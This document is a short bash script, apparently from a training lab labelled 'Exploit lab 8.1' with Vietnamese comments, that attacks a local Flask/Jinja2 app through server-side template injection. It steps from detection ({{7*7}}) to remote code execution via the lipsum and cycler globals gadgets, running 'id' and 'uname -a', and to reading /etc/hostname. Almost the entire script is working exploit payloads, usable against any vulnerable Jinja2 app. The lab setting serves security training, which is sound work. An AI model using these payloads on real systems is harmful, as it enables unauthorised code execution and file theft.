#!/usr/bin/env bash
# Exploit lab 8.1 - SSTI Jinja2 -> RCE
# Yeu cau app chay o 127.0.0.1:8064
set -u
BASE="http://127.0.0.1:8064"

enc() { python3 -c "import urllib.parse,sys; print(urllib.parse.quote(sys.argv[1]))" "$1"; }

echo "=== [0] Dung binh thuong ==="
curl -s "$BASE/greet?name=Hai"

echo
echo "=== [1] Phat hien SSTI: {{7*7}} -> 49 ==="
curl -s "$BASE/greet?name=$(enc '{{7*7}}')"

echo
echo "=== [2] Xac nhan Jinja2: {{7*'7'}} -> 7777777 (Python nhan chuoi) ==="
curl -s "$BASE/greet?name=$(enc "{{7*'7'}}")"

echo
echo "=== [3] RCE qua gadget lipsum.__globals__['os'] -> chay 'id' ==="
curl -s "$BASE/greet?name=$(enc "{{ lipsum.__globals__['os'].popen('id').read() }}")"

echo
echo "=== [4] RCE qua gadget cycler.__init__.__globals__.os -> 'uname -a' ==="
curl -s "$BASE/greet?name=$(enc "{{ cycler.__init__.__globals__.os.popen('uname -a').read() }}")"

echo
echo "=== [5] Doc file qua SSTI: /etc/hostname ==="
curl -s "$BASE/greet?name=$(enc "{{ get_flashed_messages.__globals__.__builtins__.open('/etc/hostname').read() }}")"

echo
echo "=== DONE ==="